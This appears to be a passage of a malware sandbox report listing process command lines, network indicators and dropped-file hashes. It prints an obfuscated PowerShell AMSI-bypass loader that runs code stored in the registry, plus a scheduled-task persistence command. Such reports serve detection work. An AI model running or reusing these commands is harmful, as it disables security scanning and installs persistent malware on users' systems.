'+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:UQsPSukRNdfV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PhNtuxIkWaIiOi,[Parameter(Position=1)][Type]$YPXmHxQkZo)$LcARyYavrip=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'fle'+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+'l'+'e'+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+'Mo'+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+'e'+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+'las'+[Char](115)+''+','+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+'S'+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'n'+'s'+'i'+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+'Aut'+[Char](111)+'C'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$LcARyYavrip.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+'g,P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PhNtuxIkWaIiOi).SetImplementationFlags(''+[Char](82)+'u'+'n'+'t'+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$LcARyYavrip.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+',N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$YPXmHxQkZo,$PhNtuxIkWaIiOi).SetImplementationFlags('Ru'+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'na'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $LcARyYavrip.CreateType();}$yZnUkMrDXhqqb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2'+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](121)+''+[Char](90)+''+'n'+''+[Char](85)+'k'+[Char](77)+''+[Char](114)+''+[Char](68)+''+[Char](88)+'hqqb');$vMxLEahwuIXYbc=$yZnUkMrDXhqqb.GetMethod(''+[Char](118)+''+'M'+'x'+[Char](76)+''+'E'+'ah'+[Char](119)+''+[Char](117)+''+[Char](73)+''+'X'+'Y'+'b'+''+[Char](99)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lwzbWlhNxtYwBiMtSRz=UQsPSukRNdfV @([String])([IntPtr]);$GNJdkQCstVBdPeTmwMVLSR=UQsPSukRNdfV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jwesfAFVWga=$yZnUkMrDXhqqb.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+'.d'+[Char](108)+'l')));$oeWqGNYPxpujAY=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$jwesfAFVWga,[Object](''+'L'+'o'+'a'+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$LrpyxpMmHJXtSmZLl=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$jwesfAFVWga,[Object]('V'+[Char](105)+'rt'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+'r'+''+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$bxtKkhd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oeWqGNYPxpujAY,$lwzbWlhNxtYwBiMtSRz).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+'l'+'l'+'');$XehsbzRZjhgyhDPIC=$vMxLEahwuIXYbc.Invoke($Null,@([Object]$bxtKkhd,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+[Char](99)+'a'+'n'+''+[Char](66)+'u'+'f'+''+'f'+'er')));$PLAthGMuJw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LrpyxpMmHJXtSmZLl,$GNJdkQCstVBdPeTmwMVLSR).Invoke($XehsbzRZjhgyhDPIC,[uint32]8,4,[ref]$PLAthGMuJw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XehsbzRZjhgyhDPIC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LrpyxpMmHJXtSmZLl,$GNJdkQCstVBdPeTmwMVLSR).Invoke($XehsbzRZjhgyhDPIC,[uint32]8,0x20,[ref]$PLAthGMuJw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+'WAR'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cheat4.biz/index.php?do=register

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffedb6e46f8,0x7ffedb6e4708,0x7ffedb6e4718

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{5d527181-f349-4a46-bee2-bbabe00654cf}

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2708 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffedb6e46f8,0x7ffedb6e4708,0x7ffedb6e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cheat4.biz/index.php?do=register

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:1

C:\Windows\SysWOW64\schtasks.exe

/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,7291535786009789896,405932162670350720,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1

Network

Country Destination Domain Proto
US 8.8.8.8:53 connect2me.hopto.org udp
NL 37.139.129.113:80 connect2me.hopto.org tcp
US 8.8.8.8:53 113.129.139.37.in-addr.arpa udp
US 107.182.129.73:8081 tcp
US 8.8.8.8:53 73.129.182.107.in-addr.arpa udp
NL 45.14.165.91:3306 tcp
US 8.8.8.8:53 91.165.14.45.in-addr.arpa udp
US 20.44.10.123:443 tcp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 44.8.109.52.in-addr.arpa udp
US 8.8.8.8:53 cheat4.biz udp
US 209.197.3.8:80 tcp
US 104.21.3.19:443 cheat4.biz tcp
US 209.197.3.8:80 tcp
US 8.8.8.8:53 19.3.21.104.in-addr.arpa udp
US 104.21.3.19:443 cheat4.biz udp
US 8.8.8.8:53 250.255.255.239.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.128.233:443 discord.com tcp

Files

memory/4524-133-0x0000000000380000-0x0000000000388000-memory.dmp

memory/3900-139-0x0000000002880000-0x00000000028B6000-memory.dmp

memory/3900-140-0x00000000050B0000-0x00000000056D8000-memory.dmp

memory/3900-141-0x0000000002870000-0x0000000002880000-memory.dmp

memory/3900-142-0x0000000002870000-0x0000000002880000-memory.dmp

memory/3900-143-0x0000000004E70000-0x0000000004E92000-memory.dmp

memory/3900-144-0x0000000004F10000-0x0000000004F76000-memory.dmp

memory/3900-145-0x0000000004FF0000-0x0000000005056000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0g2ff013.he3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3900-155-0x0000000005E50000-0x0000000005E6E000-memory.dmp

memory/3900-156-0x0000000002870000-0x0000000002880000-memory.dmp

memory/3900-157-0x0000000006410000-0x0000000006442000-memory.dmp

memory/3900-158-0x0000000070B50000-0x0000000070B9C000-memory.dmp

memory/3900-168-0x00000000063F0000-0x000000000640E000-memory.dmp

memory/3900-169-0x00000000077B0000-0x0000000007E2A000-memory.dmp

memory/3900-170-0x0000000007170000-0x000000000718A000-memory.dmp

memory/3900-171-0x000000007FD50000-0x000000007FD60000-memory.dmp

memory/3900-172-0x00000000071E0000-0x00000000071EA000-memory.dmp

memory/3900-173-0x0000000007440000-0x00000000074D6000-memory.dmp

memory/3900-174-0x00000000073B0000-0x00000000073BE000-memory.dmp

memory/3900-175-0x0000000007400000-0x000000000741A000-memory.dmp

memory/3900-176-0x00000000073F0000-0x00000000073F8000-memory.dmp

memory/3900-177-0x0000000007510000-0x0000000007532000-memory.dmp

memory/3900-178-0x00000000083E0000-0x0000000008984000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\new2.exe

MD5 50d48404f9b93a16c69aed2e6c585192
SHA1 3f949a4b96bac4f7e1cec881edb5b65295410a1c
SHA256 0a6ed49a01a7c4cad6ea914495d5789b97a9993508fe82ff3232613afb2a0789
SHA512 0e6616e1c537ca77e113184adf6aca8677c6d35d3415bccac5e22aa9735cd0be13ce837ee7583553d4db16700fd77973de711f7c24126a9be6d7525c86fc9774

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

memory/3968-202-0x00000000000E0000-0x000000000024C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/3900-214-0x0000000002870000-0x0000000002880000-memory.dmp

memory/3900-216-0x0000000002870000-0x0000000002880000-memory.dmp

memory/3968-215-0x0000000004B10000-0x0000000004BA2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SysApp.exe

MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

memory/3968-219-0x0000000005010000-0x000000000501A000-memory.dmp

memory/3968-220-0x0000000004A60000-0x0000000004A70000-memory.dmp

memory/3968-221-0x0000000004A60000-0x0000000004A70000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\nJObCsNVlgTeMaPEZQleQYhYzRyWJjPj

MD5 46988a922937a39036d6b71e62d0f966
SHA1 4a997f2a0360274ec7990aac156870a5a7030665
SHA256 5954db23a8424f6cb1e933387d0866910c45615f54342aa0f6dd597174393de6
SHA512 dd7774668cd24c303e670e7d096794aca67593b8d8a9b3b38aa08c148f67e74c07041f25941465b3ae030bafd76384b4b79d41c1eeebe5bd11d94ab25ef00e9d

memory/3292-237-0x00007FF7BA7D0000-0x00007FF7BAB90000-memory.dmp

memory/3968-245-0x0000000004A60000-0x0000000004A70000-memory.dmp

memory/3968-246-0x0000000004A60000-0x0000000004A70000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RzLNTXYeUCWKsXbGyRAOmBTvKSJfjzaL

MD5 18da5c19d469f921ff9d44f1f17de97b
SHA1 bef606053494e1f516431d40f2aca29cf1deeb20
SHA256 662f6389650db2471a13412664d05cfed46fef73dd1d30cf16d2c8ceeee33eb0
SHA512 9eee1b05c10544813c2eb89c48369d78e5b9260fddd8e90a34f06ac8ea2955860083c6c8ac31089276e97e269b87b4ac0c43e9dcdb7bd6091759dccb4ac0e71d

memory/1280-268-0x000002AEB2390000-0x000002AEB23B2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7c431ede037468fa10820c851d52d39e
SHA1 ea46263452a870ea9c97ac4686655564be4e211f
SHA256 4da4fa0aaa56da273488ef9e6205c359cbc30ba55a383785621e264a29d03601
SHA512 069ee83788da6d187158079ffd8859267863b02797c4fa220cf39129105dccebb89ead612cd0ad93480c8bb92487b35ac78eb08936d161c375c2676f1e7eecd3

memory/1280-279-0x000002AE96840000-0x000002AE96850000-memory.dmp

memory/1280-281-0x000002AE96840000-0x000002AE96850000-memory.dmp

memory/1280-280-0x000002AE96840000-0x000002AE96850000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a7ce8cefc3f798abe5abd683d0ef26dd
SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

memory/2756-296-0x0000025E7A4F0000-0x0000025E7A500000-memory.dmp

memory/2756-297-0x0000025E7A4F0000-0x0000025E7A500000-memory.dmp

memory/2756-298-0x0000025E7A4F0000-0x0000025E7A500000-memory.dmp

memory/2756-306-0x0000025E7A4F0000-0x0000025E7A500000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

memory/3968-312-0x0000000006560000-0x000000000659C000-memory.dmp

memory/3292-311-0x00007FF7BA7D0000-0x00007FF7BAB90000-memory.dmp

memory/2500-313-0x00007FF664F80000-0x00007FF664FA9000-memory.dmp

memory/3968-317-0x0000000004A60000-0x0000000004A70000-memory.dmp

memory/3060-318-0x00000000038B0000-0x00000000038C0000-memory.dmp

memory/928-319-0x000001F281D70000-0x000001F281D80000-memory.dmp

memory/928-320-0x000001F281D70000-0x000001F281D80000-memory.dmp

memory/928-339-0x000001F281D70000-0x000001F281D80000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 5a10efe23009825eadc90c37a38d9401
SHA1 fd98f2ca011408d4b43ed4dfd5b6906fbc7b87c0
SHA256 05e135dee0260b4f601a0486401b64ff8653875d74bf259c2da232550dbfb4f5
SHA512 89416a3f5bf50cd4a432ac72cd0a7fb79d5aeb10bdcc468c55bbfa79b9f43fab17141305d44cb1fe980ec76cc6575c27e2bcfcbad5ccd886d45b9de03fb9d6d7

memory/928-347-0x00007FFEF8C70000-0x00007FFEF8E65000-memory.dmp

memory/928-348-0x00007FFEF7060000-0x00007FFEF711E000-memory.dmp

memory/3116-349-0x0000000140000000-0x0000000140029000-memory.dmp

memory/3116-353-0x0000000140000000-0x0000000140029000-memory.dmp

memory/3116-354-0x00007FFEF8C70000-0x00007FFEF8E65000-memory.dmp

memory/3116-355-0x00007FFEF7060000-0x00007FFEF711E000-memory.dmp

memory/3116-356-0x0000000140000000-0x0000000140029000-memory.dmp

memory/3060-358-0x00000000038B0000-0x00000000038C0000-memory.dmp

memory/588-360-0x000001FAE5B20000-0x000001FAE5B41000-memory.dmp

memory/588-363-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/668-364-0x000001B0EF530000-0x000001B0EF557000-memory.dmp

memory/588-362-0x000001FAE5B50000-0x000001FAE5B77000-memory.dmp

memory/668-371-0x000001B0EF530000-0x000001B0EF557000-memory.dmp

memory/948-382-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/1016-384-0x000001EB510C0000-0x000001EB510E7000-memory.dmp

memory/1016-383-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

memory/1340-375-0x000000000CE00000-0x000000000CE57000-memory.dmp

memory/1016-374-0x000001EB510C0000-0x000001EB510E7000-memory.dmp

memory/948-380-0x000001D72CDA0000-0x000001D72CDC7000-memory.dmp

C:\Windows\system32\drivers\etc\hosts

MD5 2d29fd3ae57f422e2b2121141dc82253
SHA1 c2464c857779c0ab4f5e766f5028fcc651a6c6b7
SHA256 80a60d7ec533d820de20bcedeb41319e7b1def548b6ea73ddbd69455bac4e7a4
SHA512 077a5c554663be7b71f181d961f5c98c732bc296dc015ffee30768a648bee3aad62c39c352cf2947432be19519906aeac7dfaf2557d309bb460732abb7fdbc68

memory/588-368-0x000001FAE5B50000-0x000001FAE5B77000-memory.dmp

memory/668-367-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 c1a3c45dc07f766430f7feaa3000fb18
SHA1 698a0485bcf0ab2a9283d4ebd31ade980b0661d1
SHA256 adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48
SHA512 9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

memory/1128-390-0x00007FFEF7120000-0x00007FFEF7121000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 c1a3c45dc07f766430f7feaa3000fb18
SHA1 698a0485bcf0ab2a9283d4ebd31ade980b0661d1
SHA256 adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48
SHA512 9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

\??\pipe\LOCAL\crashpad_1548_CUFIOQPLMPZHIGNC

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/512-395-0x00000151AC890000-0x00000151AC8B7000-memory.dmp

memory/512-398-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

